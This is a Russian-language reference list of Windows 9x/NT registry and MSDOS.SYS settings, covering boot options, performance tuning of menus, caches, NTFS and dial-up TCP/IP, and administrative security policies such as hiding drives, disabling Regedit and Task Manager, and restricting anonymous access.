Вынуждение Вашего компьютера загружаться в Безопасном режиме (Windows 9x) Этот параметр заставит Ваш компьютер всегда загружаться в Безопасном режиме. 1. Добавьте новый параметр 'BootSafe=' в файл MSDOS.SYS. 2. Установите его значение равным '1', что бы заставить систему всегда загружаться в Безопасном режиме, или равным '0', для использования обычной загрузки. Параметр: BootSafe Значение: (1=включено)
Отключение предупреждающего сообщения о Безопасном режиме (Windows 9x) Этот параметр отключает предупреждающее сообщение о Безопасном режиме при загрузке, и предотвращает выполнение команд из меню "Автозагрузка". 1. Добавьте новый параметр 'BootWarn=' в файл MSDOS.SYS. 2. Установите его значение равным '1', что бы отключить предупреждение, или равным '0', для обычной работы. Параметр: BootWarn Значение: (1 = включено)
Управление поддержкой двойной буферизации Windows (Windows 98) Windows 98 имеет поддержку двойной буферизации, некоторые системы могут быть несовместимыми между BIOS-ом компьютера и файлом Dblbuff.sys. Значение '1' это условная установка, которая включает двойную буферизацию только для контроллеров, которые нуждаются в этом (например, SCSI контроллеры). Значение '2' это безоговорочная установка, которая включает двойную буферизацию независимо от того, нуждается ли в этом контроллер или нет. Обратите внимание: Некоторые компьютеры, особенно те, которые используют SCSI жесткий диск требуют, чтобы двойная буферизация обязательно использовалась. Ключ: [MSDOS.SYS] Параметр: DoubleBuffer Значение: (0 = отключено)
Загрузка Двойной буферизации / Сжатия дисков в нижнюю память (Windows 9x) Отключение этого параметра не позволит Windows 95 загружать COMMAND.COM или DRVSPACE.BIN/DBLSPACE.BIN в верхние 640КБ памяти. Если у Вас существует проблема совместимости с программным обеспечением, которое требует доступа к верхней памяти, то попробуйте установить значение этого параметра равным '0'. Параметр: LoadTop Значение: (0 = загрузка в нижнюю память)
К заголовку




Ключи реестра (Эффективность)
==============
[Эффективность]
==============

Изменение задержки показа меню (Windows 9x и NT)
Этот параметр управляет задержкой отображения меню на рабочем столе, для увеличения быстродействия меню попробуйте
уменьшить это значение до 100.

Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop]
Параметр: MenuShowDelay
Тип: REG_SZ
Значение: 0-999 (миллисекунд)

Управление функцией анимации Windows (Windows 9x и NT) По умолчанию у Windows включены функции анимации окон, хоть это и может выглядеть красиво, но они могут замедлить ваш PC, если Вы имеете медленную графическую плату. Эти параметры настройки позволяют Вам управлять функцией анимации Windows. Измените параметр 'MinAnimate', в ключе [HKEY_CURRENT_USER\Control Panel\Desktop], установив его значение равным '0' для отключения или '1' для включения. Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop] Параметр: MinAnimate Тип: REG_SZ Значение: (0=отключено, 1=включено)
Оптимизация кэша второго уровня на значение более 256КБ (Windows NT) Windows NT по умолчанию оптимизирован до размера L2 кэша на 256КБ. Теперь у большинства компьютеров, имеющих L2 кэши размер более 256КБ, поэтому потратьте время, чтобы изменить параметр ‘SecondLevelDataCache’, на соответствующий размер установленного L2 кэша. 1. Используя Regedit, откройте ключ указанный ниже. 2. Найдите параметр 'SecondLevelDataCache' и дважды щелкните на нем. 3. Установите переключатель 'Десятичные' и введите Ваш размер кэша второго уровня в КБ. 4. Выйдите из Regedit и перезагрузитесь. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] Параметр: SecondLevelDataCache Тип: REG_DWORD Значение: Кеш (в Kb) используя десятичную систему счисления
Управление выполнением гладкой прокрутки Windows (Windows 9x и NT) Этот параметр позволяет Вам отключать функцию гладкой прокрутки в Windows, которая на маломощной системе может уменьшить ее эффективность. 1. Используя RegEdit, найдите ключ указанный ниже. 2. Измените параметр 'SmoothScroll' на значение равное '00 00 00 00' для отключения, или на '01 00 00 00' для включения. Если значение еще не существует, создайте новое двоичное значение, назвав его 'SmoothScroll'. Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop] Параметр: SmoothScroll Тип: REG_BINARY Значение: (00 00 00 00 = отключено, 01 00 00 00 = включено)

============================== [Эффективность - Файловая система] ============================== Ускорение кэширования файловой системы (Windows NT) Если Вы не испытываете недостатка в дополнительной оперативной памяти, то можете ускорить действие файловой системы, увеличив параметр "IoPageLockLimit" от заданных по умолчанию 512КБ до 4096КБ или более. Этот параметр представляет максимальное число байт, которые могут быть блокированы для операций I/O. Когда значение параметра равно 0, то кэш будет равен 512КБ. Установка максимального значения должна основываться на объеме памяти в Вашей системе. RAM (MB) IoPageLockLimit 32 4096000 64 8192000 128 16384000 256+ 65536000 Перед изменением параметра, установите минимальное значение, основываясь на эффективности значения за определенный период времени. Производите изменения, постепенно увеличивая параметр на небольшие значения. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] Тип: REG_DWORD
Отключение создания имен файлов в формате 8.3 (NTFS) (Windows NT) Этот ключ останавливает работу части NTFS, отвечающей за создание совместимых с МС-ДОС имен файлов в формате 8.3 . Отключение этого свойства может увеличить эффективность работы в разделах NTFS, с большим количеством файлов имеющих длинные имена. Предупреждение: Некоторые 16 разрядные инсталляционные программы могут иметь проблемы при включении этого параметра, Вы можете или заново включить создание 8.3 имен файлов в течение установки, или использовать имена каталогов не в формате LFN, то есть "c:\progra~1\applic~1" Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] Параметр: NtfsDisable8dot3NameCreation Тип: REG_DWORD Значение: (0=отключено, 1=включено)
Увеличение производительности NTFS, с помощью отключения марки времени последнего доступа (Windows NT) Когда Windows NT создает список каталогов (Проводник, команда DIR, и т.д.) в разделе NTFS, она модифицирует марку времени последнего доступа на каждом обнаруженном каталоге. Если каталогов очень много, это может повлиять на эффективность. Для установки этого параметра используйте Regedit, чтобы изменить ключ: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem Добавьте параметр "NtfsDisableLastAccessUpdate" типа REG_DWORD. Установите его значение равным "1", чтобы не устанавливать метку времени последнего доступа. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] Параметр: NtfsDisableLastAccessUpdate Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)

============================ [Эффективность - Сеть и Internet] ============================ Оптимизация параметров DefaultRcvWindow и DefaultTTL (Windows 9x) Оптимизация "RcvWindow" и "DefaultTTL" наряду с другими параметрами системного реестра типа "MaxMTu" и "MaxMSS" может ускорить TCP/IP подключения Удаленного доступа к сети (т.е. подключения к Internet) на целых 200%. RWIN ("Окно заполнения") это буфер данных, заполнения которого Ваша машина ожидает, прежде чем проявить активность. Для оптимизации этих параметров используйте Regedit: 1. Добавьте новый строковый параметр "DefaultRcvWindow" в ключе "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP", и установите его значение равным "4288". 2. Создайте строковый параметр "DefaultTTL" в том же ключе, и установите его значение равным "128". 3. Выйдите из Regedit, и перезагрузите Ваш PC. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP] Параметр: DefaultRcvWindow, DefaultTTL Тип: REG_SZ
Оптимизация быстродействия подключения с помощью Удаленного доступа к сети (Windows 9x) При оптимизации параметров "MaxMTU" и "MaxMSS" наряду с "RWIN" и "TTL" Вы можете увеличить надежность подключения и его эффективность на целых 200%. Такая возможность существует, т.к. параметры установленные по умолчанию в Windows, не оптимизированы для модемного подключения. 1. Чтобы изменить быстродействие, Вы должны сначала найти ID (идентификатор) вашего Контроллера удаленного доступа. Найдите ключ [HKEY_LOCAL_MACHINE\Enum\Root\Net], там должны находится подключи типа 0000, 0001 ... Найдите подключ, который имеет параметр "DeviceDesc" равный строке "Контролер удаленного доступа". Внутри этого подключа будет находится подключ с именем "Bindings". Внутри подключа "Bindings" будет находится параметр типа "MSTCP\0000". Обратите внимание на четыре цифры после "MSTCP", и используйте их в следующем шаге. 2. Откройте ключ [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\xxxx], где xxxx= это номер определенный в предыдущем шаге. В этом ключе добавьте новый строковый параметр "MaxMTU", и установите его значение равным "576", также добавьте строковый параметр "MaxMSS", и установите его значение равным "536". 3. Выйдите из Regedit, и перезагрузите Ваш компьютер. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\xxxx] Параметр: MaxMTU, MaxMSS Тип: REG_SZ
Увеличение сетевой эффективности (Windows 9x и NT) Если Вы увеличите число буферов переадресации сервера, это может увеличить сетевую производительность. Каждая дополнительная линия связи, которую Вы сконфигурируете, будет дополнительно занимать 1КБ памяти, но только тогда, когда Ваши программы фактически используют эту связь. Чтобы настроить дополнительные буфера измените ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters] Измените или добавьте значение параметра типа REG_DWORD для: "MaxCmds" в диапазоне от 0 до 255, по умолчанию - 15 "MaxThreads" установите равным значению "MaxCmds" Вы можете также увеличить значение параметра "MaxCollectionCount" типа REG_DWORD. Этот параметр представляет буфер для записи имен каналов. Значение по умолчанию - 16, а диапазон его значений находится в пределах от 0 до 65535. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters] Тип: REG_DWORD
К заголовку




Ключи реестра (Защита)
===================
[Защита - Программы]
===================

Отключение приглашения МС-ДОС к вводу команды (Windows 9x и NT)
Этот параметр позволяет Вам отключить использование приглашения МС-ДОС к вводу команды в Windows.

1. Используя Regedit, найдите ключ указанный ниже, создайте его, если он не существует.

2. Создайте новый параметр типа DWORD, и назовите его 'Disabled'.

3. Для отключения приглашения к вводу команды, установите значение параметра 'Disabled' равным '1' для того, что бы заново
включить приглашение, установите значение на '0'.

Обратите внимание: Вы должны перезагрузиться для того, что бы это изменение вступило в силу.

Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
Параметр: Disabled
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)

Отключение режима МС-ДОС для программ в Windows (Windows 9x и NT) Этот параметр позволяет Вам отключить использование реального режима программ DOS внутри оболочки Windows. 1. Используя Regedit, найдите ключ указанный ниже, создайте его, если он не существует. 2. Создайте новый параметр типа DWORD, и назовите его 'NoRealMode'. 3. Чтобы отключить реальный режим DOS, установите значение параметра 'NoRealMode' равным '1' для того, что бы заново включить приглашение, установите значение на '0'. Обратите внимание: Вы должны перезагрузиться для того, что бы это изменение вступило в силу. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp] Параметр: NoRealMode Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Удаление оценки пароля в Internet Explorer 3.x (Windows 9x и NT) Удалите все параметры в этом ключе, чтобы не использовать функцию оценки пароля в Internet Explorer 3.x. Чтобы удалять этот ключ, выделите все параметры и нажмите клавишу "Delete" для каждого элемента. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings]

СИСТЕМНЫЙ РЕЕСТР -------------------------------------------------------------------------------- [Защита - Панель управления] Отключение доступа к дисплею в Панели управления (Windows 9x и NT) Этот параметр отключает доступ к значку "Дисплей" в Панели управления, и не позволяет пользователям изменять параметры дисплея. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] Параметр: NoDispCPL Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Отключение доступа к сети в Панели управления (Windows 9x) Этот параметр отключает доступ к значку "Сеть" в Панели управления. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: NoNetSetup Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Отключение доступа к принтерам в Панели управления (Windows 9x) Этот параметр отключает доступ к значку "Принтеры" в Панели управления, и не позволяет пользователям изменять параметры принтеров. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoPrinters Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Отключение доступа к паролям в Панели управления (Windows 9x) Эти параметры отключают доступ к значку "Пароли" в Панели управления, и непозволяет пользователем изменять параметры связанные с защитой. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] Параметр: NoSecCPL Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)

================== [Защита - Проводник] ================== Диалоговое окно уведомления об ответственности перед входом в систему (Windows 9x и NT) Используйте этот ключ, чтобы создать диалоговое окно, которое будет отображено для любого пользователя перед входом в систему. Это полезно тогда, когда требуется предупредить людей, делающих попытку войти в систему, и не имеющих на то прав, об ответственности. 1. Используя Regedit, найдите соответствующий ключ для вашей операционной системы. Windows 9x: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon Windows NT: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 2. Измените значение параметра 'LegalNoticeCaption' так, чтобы оно соответствовало заголовку диалогового окна (например 'Внимание!'). Если этот параметр не существует, создайте его. 3. Затем установите значение параметра 'LegalNoticeText' так, чтобы он был равен содержанию диалогового окна (например 'Не входите в систему, если у Вас нет полномочий! ') 4. Выйдите из Regedit, перезагрузитесь, и при следующей загрузка, у Вас должно появится диалоговое окно с предупреждением. Параметр: LegalNoticeCaption, LegalNoticeText Тип: REG_SZ
Отключение команды "Выключить компьютер" (Windows 9x и NT) Этот параметр позволит Вам не дать пользователям выключать компьютер с помощью команды "Выключить компьютер". Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoClose Тип: REG_DWORD Значение: (0 = допустить выключение, 1 = блокировать выключение)
Удаление группы "Стандартные программы" из меню "Пуск" (Windows 9x и NT) Отключает отображение группы "Стандартные", когда пользователь выбирает пункт "Программы" из меню "Пуск". Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoCommonGroups Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Скрытие всех элементов на Рабочем столе (Windows 9x и NT) Установка этого параметра скрывает все элементы и программы на Рабочем столе Windows. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoDesktop Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Скрытие дисков в Моем компьютере (Windows 9x и NT) Этот параметр управляет отображением дисков в 'Моем компьютере', он дает возможность скрыть все диски или только выбранные. Параметр 'NoDrives' определяет, какие из дисков являются видимыми. Порядок устанавливается с самого низкого бита - диск A: до 26-ого бита - диск Z: Чтобы скрыть диск, включите его бит. Если Вы не умеете работать с шестнадцатеричными числами, установите эти десятичные числа для скрытия диска(ов): A: 1, B: 2, C: 4, D: 8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L: 2048, M: 4096, N: 8192, O: 16384, P: 32768, Q: 65536, R: 131072, S: 262144, T: 524288, U: 1048576, V: 2097152, W: 4194304, X: 8388608, Y: 16777216, Z: 33554432, ALL: 67108863 Обратите внимание: Эти диски будут все равно отображены в Диспетчере файлов, для удаления Диспетчера файлов, удалите файл winfile.exe.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoDrives Тип: REG_DWORD
Удаление папки "Избранное" из меню "Пуск" (Windows 9x и NT) Чтобы удалить папку "Избранное" из меню "Пуск", измените этот ключ системного реестра. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoFavoritesMenu Тип: REG_DWORD Значение: (0=отключено, 1=включено)
Удаление меню "Файл" из Проводника (Windows NT) Удаляет меню "Файл" из инструментальной панели Проводника. (Этот параметр была добавлен в Сервисном Пакете 2.) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoFileMenu Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Удаление команды "Найти" из меню "Пуск" (Windows 9x и NT) Когда включен этот параметр команда 'Найти' будет удалена из меню "Пуск". Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoFind Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)

============= [Защита - Сеть] ============= Автоматическое отключение совместного использования (Windows NT) Этот ключ определяет, следует ли устанавливать совместную администрацию, то есть c$ и d$. Установите значение параметра "AutoShareServer" равным "0", чтобы отключить совместную администрацию сервера. Установите значение параметра "AutoShareWks" равным "0", чтобы отключить совместную администрацию Рабочей станции. Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters] Параметр: AutoShareServer, AutoShareWks Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Отключение опции "Сохранить пароль" в Удаленном доступе к сети (Windows NT) Когда Вы набираете телефонный номер в Удаленном доступе к сети, то можете использовать опцию 'Сохранить пароль' для того, чтобы Ваш пароль был кэширован, и у Вас не было необходимости вводить его при каждом соединении. Этот параметр отключает такую возможность. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters] Параметр: DisableSavePassword Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Скрытие последнего имени пользователя (Windows NT) Результатом включения этого параметра будет отображение пустого поля в блоке "Имя пользователя" при входе в систему, что позволит предотвратить вход в систему людей, использующих последнее имя пользователя системы. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: DontDisplayLastUserName Тип: REG_SZ Значение: (0 = отключено, 1 = включено)
Пересылка незашифрованных паролей (Windows NT) Соединение с SMB серверами (типа Samba и LAN Manager для UNIX) с использованием незашифрованного пароля (открытый текст) стало невозможным, после обновления Windows NT 4.0 Сервисным пакетом 3. Это происходит потому, что дескриптор незашифрованных паролей системы переадресации SMB в Сервисном пакете 3 работает по-другому, чем в предыдущих версиях Windows NT. Начиная с Сервисного пакета 3, система переадресации SMB не будет пересылать незашифрованные пароли, если Вы не добавите параметр в системный реестр на их использование. 1. Добавьте новый параметр "EnablePlainTextPassword" типа DWORD в ключ указанный ниже и установите его значение равным "1". 2. Выйдете из Regedit и перезагрузитесь. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters] Параметр: EnablePlainTextPassword Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Скрытие серверов из списка Окна просмотра (Windows NT) Если у Вас безопасный сервер, или Рабочая станция, и Вы не хотите, что бы они отображались в общем, списке Окна просмотра, добавьте этот параметр в системный реестр. Чтобы скрыть сервер из окна просмотра, отредактируйте ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] Добавьте параметр "Hidden" типа REG_DWORD, и установите его значение равным "1". Перезагрузите сервер. ( Тот же самый результат может быть получен выполнением команды "NET CONFIG SERVER /HIDDEN:YES" на Рабочей станции.) Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] Параметр: Hidden Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Скрытие паролей совместного использования звездочками (Windows 9x и NT) Этот параметр определяет, показывать пароль, напечатанный при доступе к совместно используемым файлам, обычным текстом или звездочками. Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: HideSharePwds Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Установка минимальной длины пароля (Windows 9x и NT) Вы можете заставить Windows отклонять пароли, которые не имеют, установленной Вами, минимальной длины. Это позволит предотвратить использование тривиальных паролей там, где важна защита. 1. Используя Regedit, откройте ключ указанный ниже, если он не существует, создайте его. 2. Добавьте новый параметр 'MinPwdLen' двоичного типа, и установите его значение равным минимальному числу символов, требуемому для принятия пароля. Обратите внимание: Это изменение не затрагивает существующие пароли, а воздействует только на новые, или замену старых. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: MinPwdLen Тип: REG_BINARY
Определение локальной и удаленной видимости диска под WinNT (Windows NT) Администраторы могут использовать параметр "NODRIVES" для отключения доступа к дисководам гибких дискет. Параметр "NODRIVES" состоит из 32-разрядного слова, и определяет локальную и сетевую видимость для каждого логического диска на компьютере. Каждый бит до 26-ого соответствуют имени диска от А до Z. Диск будет видим, если его значение равно "0", и скрыт если его значение равно "1". Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NODRIVES Тип: REG_DWORD Значение: Такое значение: 11111111111111111111111111 (0x3FFFFFFh), скроет все имена дисков.
Удаление элемента "Вся сеть" из Сетевого окружения (Windows 9x и NT) Вся сеть - элемент в Сетевом окружении, который позволяет пользователям видеть все Рабочие группы и Домены в сети. Этот элемент может быть заблокирован так, что бы пользователи могли использовать только их собственую Рабочую группу или домен. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: NoEntireNetwork Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Удаление пункта "Завершение сеанса <Имя пользователя>" из меню "Пуск" (Windows 9x и NT) Чтобы удалить команду "Завершение сеанса <Имя пользователя>" из меню "Пуск", измените ключ в реестре, используя Редактор системного реестра. Обратите внимание: Этот параметр используется только при установке Internet Explorer 4.0 и старше. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoLogOff Тип: REG_BINARY Значение: 01 00 00 00
Удаление команд Подключить и Отключить сетевой диск (Windows NT) Этот параметр не дает пользователям создавать дополнительные сетевые подключения, удаляя кнопки "Подключить сетевой диск" и "Отключить сетевой диск" из инструментальной панели Проводника, а также удаляя пункты контекстного меню Моего компьютера и меню "Сервис" Проводника. (Этот параметр была добавлен в Сервисном Пакете 2.) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoNetConnectDisconnect Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Скрытие содержание Рабочей группы из Сетевого окружения (Windows 9x и NT) Включение этго параметра, скрывает все содержание Рабочей группы из Сетевого окружения. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: NoWorkgroupContents Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Изменение времени перед предупреждением об истечении срока пароля (значение по умолчанию 14 дней) (Windows NT) Этот параметр определяет, за какое количество дней до истечения срока пароля пользователя отобразится предупреждающее сообщение. 1. Откройте системный реестр, и найдите ключ указанный ниже. 2. Создайте новый параметр 'PasswordExpiryWarning' типа DWORD, установите его значение равным числу дней, за которое должно произойти уведомление о смене пароля. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: PasswordExpiryWarning Тип: REG_DWORD Значение: (Количество дней)
Ограничение информации, доступной анонимным пользователям при входе в систему (Windows NT) Windows NT обладает особенностью при, которой анонимные пользователи входя в систему могут получить список имен пользователей доменом и список совместно используемых имен. Тем, кто хочет усовершенствовать защиту, потребуется возможность ограничить эти функциональные возможности. 1. Запустите Редактор системного реестра (regedit.exe). 2. Откройте следующий ключ в системном реестре: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 3. В меню "Правка" выберете "Создать параметр", используйте следующие данные: Параметр: RestrictAnonymous Тип: REG_DWORD Значение: 1 4. Выйдете из Редактора системного реестра, и перезагрузите компьютер для того, чтобы изменения вступили в силу. Обратите внимание: Выполнение этой операции возможно только после установки Сервисного пакета 3 для Windows NT 4.0. Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] Параметр: RestrictAnonymous Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)

================ [Защита - Система] ================ Обеспечение сетевого доступа к дискам CD-ROM (Windows NT) Этот параметр определяет, являются ли данные на диске CD-ROM доступными для других пользователей. Он частично удовлетворяет требованиям защиты C2 для сменных средств. Диск CD-ROM по умолчанию предназначен для совместного использования в сети. Если значение этого параметра равно '1', то только текущий пользователь сможет обратиться к диску CD-ROM. Это не позволит администраторам и удаленным пользователям (и даже пользователям одной рабочей станции) получить доступ к диску, во время использования текущим пользователем компьютера. Диск снова станет доступным, когда текущий пользователь выйдет из компьютера. Значения параметра: · '0' = к компакт-дискам могут обращаться все администраторы в домене. · '1' = к компакт-дискам в может обращаться только текущий пользователь вошедший в компьютер. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: AllocateCDRoms Тип: REG_SZ Значение: (0 = включено, 1 = отключено)
Обеспечение сетевого доступа к дисководам для гибких дискет (Windows NT) Этот параметр определяет, являются ли данные на гибком диске доступными для других пользователей. Он частично удовлетворяет требованиям защиты C2 для сменных средств. Гибкие диски по умолчанию предназначены для совместного использования в сети. Если значение этого параметра равно '1', то только текущий пользователь сможет обращаттиться к гибким дискам. Это не позволит администраторам и удаленным пользователям (и даже пользователям одной рабочей станции) получить доступ к дискам, во время использования текущим пользователем компьютера. Диски снова станут доступным, когда текущий пользователь выйдет из компьютера. Значения параметра: · '0' = к гибким дискам могут обращаться все администраторы в домене. · '1' = к гибким дискам может обращаться только текущий пользователь вошедший в компьютер. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: AllocateFloppies Тип: REG_SZ Значение: (0 = включено, 1 = отключено)
Требование алфавитно-цифрового пароля Windows (Windows 9x и NT) Windows по умолчанию принимает любой пароль, кроме пустого. Этот параметр определяет, будет ли Windows требовать алфавитно-цифровой пароль, то есть пароль, созданный из комбинации букв (A, B, C. ..) и чисел (1, 2, 3 ...). Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: AlphanumPwds Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Управление автоматической перезагрузкой оболочки (Windows NT) По умолчанию, если в интерфейсе пользователя Windows NT или в одном из его компонентов происходит сбой, интерфейс перезагружается автоматически. Эта установка может быть изменена так, чтобы Вы проделывали эту операцию вручную. Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Параметр: AutoRestartShell Тип: REG_DWORD Значение: (0 = отключено, 1 = включено)
Блокировка кэширования пароля (Windows 9x и NT) Для дополнительной автоматизации Windows кэширует копию пароля пользователей в локальной системе. Это ведет к угрозе защиты на некоторых системах. При отключении кэширующего средства, пароль пользователя не запоминается на его компьютере. Включение этого параметра также удаляет повторное поле ввода пароля Windows, и отключает возможность синхронизации сетевых паролей. Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network] Параметр: DisablePwdCaching Тип: REG_DWORD Значение: (0 = отключено, 1=включено)
Отключение Редактора системного реестра (Windows 9x и NT) Этот параметр не позволит пользователю запустить Regedit.exe или Regedt32.exe для изменения системного реестра. Предупреждение: Будьте внимательны при изменении этого параметра, и удостоверитесь, что Вы не блокируете свой системный реестр. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] Параметр: DisableRegistryTools Тип: REG_DWORD Значение: (0 = отключено, 1=включено)
Отключение Администратора задач (Windows NT) Включает или отключает способность пользователя запускать Администратор задач, для наблюдения за процессами, выполнением программ, а так же созданием изменений в приоритете или в состоянии индивидуальных процессов. (Этот параметр была добавлен в Сервисном пакете 2.) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] Параметр: DisableTaskMgr Тип: REG_DWORD Значение: (0 = отключено, 1=включено)
Управление свойством Автозапуска (Windows 9x и NT) Определяет, включено ли свойство Автозапуска на любом из дисков, связанном с системой. Когда средства Автозапуска присутствуют на диске, то они срабатывают, при разрешенном свойстве Автозапуска. Этот параметр содержит 32 бита. Нижние 26 битов представляют каждый диск, исходя из того, что самый нижний бит, представляет диск A, а 26-ой бит, представляет диск Z. Если бит равен 0, свойство автозапуска, включено на этом диске. Если бит равен 1, свойство автозапуска заблокировано на этом диске. Например, если значение этого параметра равно 0x8 (двоичное 1000), автозапуск заблокирован на диске D. Обратите внимание, что значение 1 в бите, представляющем CD ROM, имеет приоритет над значением параметра Autorun. Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] Параметр: NoDriveTypeAutoRun Тип: REG_DWORD
Предотвращение запуска основного хранителя экрана (Windows NT) Windows NT имеет заданный по умолчанию хранитель экрана login.scr, который запускается, даже если хранитель экрана не был выбран. Это может создать угрозу защите, поскольку позволяет локальному пользователю заменить login.scr другой программой, связанной с системными привилегиями. 1. Измените значение параметра 'ScreenSaveActive' на '0', чтобы отключить хранитель экрана. 2. Выйдите из Regedit и перезагрузитесь. Обратите внимание: Может использоваться альтернативный хранитель экрана. Ели Вы не используете отключение, измените значение 'SCRNSAVE.EXE' в том же ключе, на значение равное полному пути к хранителю экрана, который Вы желаете использовать. Что бы изменения вступили в силу, требуется перезагрузка. Ключ: [HKEY_USERS\.DEFAULT\Control Panel\Desktop] Параметр: ScreenSaveActive Тип: REG_SZ Значение: (0 = отключено, 1=включено)
